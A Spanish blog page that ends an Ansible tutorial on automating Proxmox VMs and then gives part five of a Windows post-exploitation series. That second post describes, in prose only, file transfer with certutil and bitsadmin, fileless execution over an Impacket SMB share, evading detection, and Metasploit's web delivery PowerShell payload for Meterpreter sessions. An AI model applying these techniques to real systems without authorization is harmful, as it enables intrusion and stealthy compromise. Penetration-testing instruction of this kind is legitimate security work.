      proxmox_user: user@pam
      proxmox_pass: password
      vm_name: testvm01
$ docker run --rm \
    -v "$PWD/delete_vm.yml:/playbook.yml" \
    atorrescogollo/proxmox-ansible:latest

Configuración tras despliegue con linux-ansible

Una vez ya podemos crear máquinas de forma automatizada, necesitamos realizar algunas configuraciones. Por ejemplo, queremos adecuar los volumenes lógicos de LVM, actualizar el nombre del host según el nombre de la máquina virtual, actualizar los paquetes de la máquina, etc.

Todas las configuraciones para máquinas Linux forman parte de otro role de Ansible disponible en el repositorio linux-ansible y, de igual modo, podemos configurar la máquina que acabamos de desplegar. El procedimiento, en este caso, es ligeramente distinto ya que necesitamos un inventario:

  1. Creamos el playbook post_deploy.yml:
    $ cat post_deploy.yml
    - name: Configure VM
      hosts: vms
      roles:
      - role: linux-ansible
        vars:
          action: post_deploy
          lvmap:
            "/tmp": "+500M"
            "/var/log": "2G"
            "/var": "+30%FREE"
            "/": "+100%FREE"
          install_packages:
          - vim
          - tmux
    Similar a lo que vimos anteriormente, estos parámetros se pueden consultar en este enlace. En esta documentación, además, se indica que la acción post_deploy simplemente es una agrupación de acciones, por lo que podemos personalizar nuestro despliegue en función de lo que necesitemos.
  2. Creamos el fichero de inventario:
    $ cat inventory.ini
    [vms]
    testvm01.example.org ansible_host=10.0.2.150
    
    [vms:vars]
    ansible_user=adminuser
    ansible_ssh_extra_args='-o StrictHostKeyChecking=no'
    Es importante definir la IP ya que la plantilla aún no tiene el hostname correcto por lo que el DNS no ha registrado ese hostname. Además, el usuario con el que nos vamos a conectar necesita tener acceso con sudo sin contraseña para realizar las tareas que requieren ciertos privilegios.
  3. Ejecutamos el role usando la imagen de docker atorrescogollo/linux-ansible:latest:
    $ ssh-add ~/.ssh/id_rsa # Cargar la clave privada en ssh-agent
    $ docker run -it --rm \
       -v $SSH_AUTH_SOCK:/ssh-agent \
       -e SSH_AUTH_SOCK=/ssh-agent  \
       -v $PWD/inventory.ini:/inventory      \
       -v $PWD/post_deploy.yml:/playbook.yml \
       atorrescogollo/linux-ansible:latest
    Cabe destacar que, en este caso, hemos tenido que compartir el ssh-agent con el contenedor a través de la variable de entorno SSH_AUTH_SOCK para poder usar la clave privada cargada con ssh-add. Para más información sobre esta característica, acceder a este enlace.

Conclusiones

Hemos logrado estandarizar el proceso de creación y configuración de máquinas virtuales. Esto nos permite definir políticas de bastionado, configuraciones comunes en todo el entorno, etc, que se aplicarán en todos los despliegues.

También, hemos propuesto un tratamiento distinto al modelo estándar de roles de Ansible. En este caso, cada role agrupa todas las automatizaciones realizacionadas con un ámbito concreto usando la variable action. Por ejemplo, proxmox-ansible es el role que trata todos los procedimientos de interacción con nuestro hipervisor y linux-ansible es el role que define todos los procedimientos de configuración de máquinas Linux.

Por otro lado, cabe mencionar que existen otros mecanismos para ejecutar la configuración de una máquina después del despliegue: cloud-init suele ser la opción más usada. Esto no quiere decir que la fase de configuración de la máquina sea completamente reemplazable por cloud-init. Habiendo implementado el role linux-ansible tenemos dos posibilidades:

  • Ejecutar el role desde fuera de la máquina, como hemos presentado.
  • Ejecutar el role en local dentro de la máquina con cloud-init.
Por tanto, Ansible nos aporta, principalmente, dos beneficios con respecto a otras opciones:
  • Versatilidad en los modos de configuración: una vez se definen las tareas, solo hace falta indicar sobre qué máquinas ejecutar el automatismo.
  • Facilidad de mantenimiento: la complejidad debe residir en el módulo de Ansible (en la mayoría de casos, ya mantenido por la comunidad) para que las tareas, roles y playbooks sean fáciles de interpretar.

Sabiendo esto, ¿te atreves a automatizar tu infraestructura?

Álvaro Torres Cogollo.

Quieres contactar conmigo? Te dejo mis redes sociales a continuación.

 

Categorías
Explotación de Software Hacking Hacking Python MetaSploit Networking Services - Software

Enumeración en Windows para Post-Explotación – Parte 5.

Enumeración en Windows para Post-Explotación – Parte 1.
Enumeración en Windows para Post-Explotación – Parte 2.
Enumeración en Windows para Post-Explotación – Parte 3.
Enumeración en Windows para Post-Explotación – Parte 4.

Aunque los comandos e instrucciones que se han listado en las partes anteriores a este post incluyen las actividades típicas para la enumeración de sistemas Windows, es conveniente tener cierta habilidad y libertad a la hora de moverse por el sistema y esto no siempre es tan sencillo. En ocasiones la shell con la que se cuenta no permite ejecutar ciertos comandos o puede ser inestable. También puede ocurrir que no se cuenta con los elementos o herramientas necesarias para la transferencia de ficheros, especialmente si se trata de un sistema Windows antiguo o con una cuenta que tiene muy pocos privilegios. Este tipo de cuestiones son las que normalmente se encuentran en una auditoría y es vital saber qué hacer en esas situaciones. En este post se verán algunos «tips» que pueden ser útiles para solventar o mitigar algunos problemas comunes en el proceso de post-explotación.

Transferencia de ficheros en post-explotación

Para muchas de las operaciones que implican la post-explotación es necesario subir ficheros a la máquina comprometida o bien descargar información. Para ello existen múltiples alternativas que pueden ser aplicables al objetivo en cuestión. En este caso se verán algunas de las más comunes y en otro artículo se explicará como ejecutar procesos de exfiltración más enfocados a campañas de Red Team.
En primer lugar se podría hablar de la posibilidad de subir o descargar ficheros con Meterpreter, se trata de una de las alternativas más típicas y que pueden venir bien si se cuenta con una sesión de este tipo.

Si no se cuenta con una sesión Meterpreter, se pueden utilizar algunas de las herramientas disponibles en el sistema comprometido para descargar ficheros (exfiltrar) y en este punto resulta conveniente revisar el proyecto LOLBas, del que se hablará más adelante en otro post. Desde la máquina del atacante se puede levantar muy fácilmente un servidor Web o FTP para la transferencia de ficheros a la víctima. Para ello se puede utilizar Python y los módulos que se encuentran disponibles para ello.

Al sistema comprometido se pueden transferir ficheros fácilmente utilizando Powershell o herramientas disponibles en el propio sistema operativo como certutil, mshta, bitsadmin o ftp.

Se trata de las alternativas «clásicas» y que funcionan bastante bien, sin embargo existe otra forma que puede venir muy bien en el caso de que sea necesario ejecutar un binario en el sistema comprometido sin necesidad de escribir nada en disco. De hecho, a menos que en el objetivo no hayan soluciones de seguridad perimetral o se encuentren desactivadas, es recomendable no ejecutar las instrucciones anteriores para evitar una posible detección. Dicho esto, crear una unidad compartida en la máquina del atacante y utilizar el protocolo SMB para la transferencia de información y ejecución «fileless» puede ser un mejor enfoque. Para ello se puede crear un servidor Samba en la máquina del atacante y configurarlo, se trata de algo sencillo y que en pocos minutos se puede conseguir, sin embargo a efectos prácticos se puede utilizar la implementación de pruebas del servidor SMB que viene incluido en el proyecto Impacket.

A partir de este punto se pueden transferir ficheros en ambos sentidos utilizando el protocolo SMB.

 

Y por supuesto, también sería posible la ejecución «fileless» de un binario.

En la imagen anterior se puede apreciar la ejecución de un binario que se encuentra almacenado en la unidad compartida del atacante. No obstante, aunque la transferencia se ha efectuado, dicho fichero no se ha guardado en disco y aún así se obtiene una sesión meterpreter. Es simplemente un ejemplo más sobre cómo aplicar esta técnica, aunque como se ha mencionado anteriormente también sería posible hacerlo con un servidor Samba en la máquina del atacante. El resultado será el mismo.

Windows Shell Upgrade.

Una vez comprometido el sistema es posible que la shell que se ha obtenido no sea lo suficientemente estable o resulte incómodo trabajar con ella, por ejemplo a la hora de ejecutar comandos interactivos o debido a que no se tiene la posibilidad de autocompletar, siendo una característica de Powershell que permite ahorrar tiempo y facilita el trabajo. En este sentido, se explican algunas técnicas útiles para contar con una shell robusta que será perfecta para post-explotación.

WebDelivery Metasploit Framework

El «WebDelivery» de Metasploit Framework es un modulo que se encarga de generar un comando en una sola línea, el cual tras ejecutarse en el objetivo, lanza el payload indicado utilizando el interprete seleccionado en la opción «TARGET» del módulo (Python, Powershell, PHP, Regsvr32, etc.)

Como se puede apreciar, el modulo tiene opciones que permiten indicar cómo se debe levantar el servidor (job de MSF) el cual se encargará de recibir las peticiones por parte de las víctimas y generar una sesión Meterpreter o lo que sea que se haya indicado en el payload.

Al establecer el TARGET a «PSH» el comando generado incluye una instrucción Powershell y tal como se puede ver, el payload propiamente dicho se encuentra codificado en Base64, dicha cadena se decodifica y ejecutan las instrucciones decodificadas. Resulta bastante simple y permite generar, en este caso concreto, una sesión meterpreter perfectamente funcional y que es posiblemente mucho más interesante de cara a la post-explotación que una shell cruda.

Dado que este post está quedando bastante largo, en el siguiente se hablará sobre otras técnicas útiles para la generación de shells robustas y otras cuestiones interesantes en la post-explotación de sistemas Windows como es el caso del proyecto LOLBas.

Un saludo y Happy Hack!
Adastra.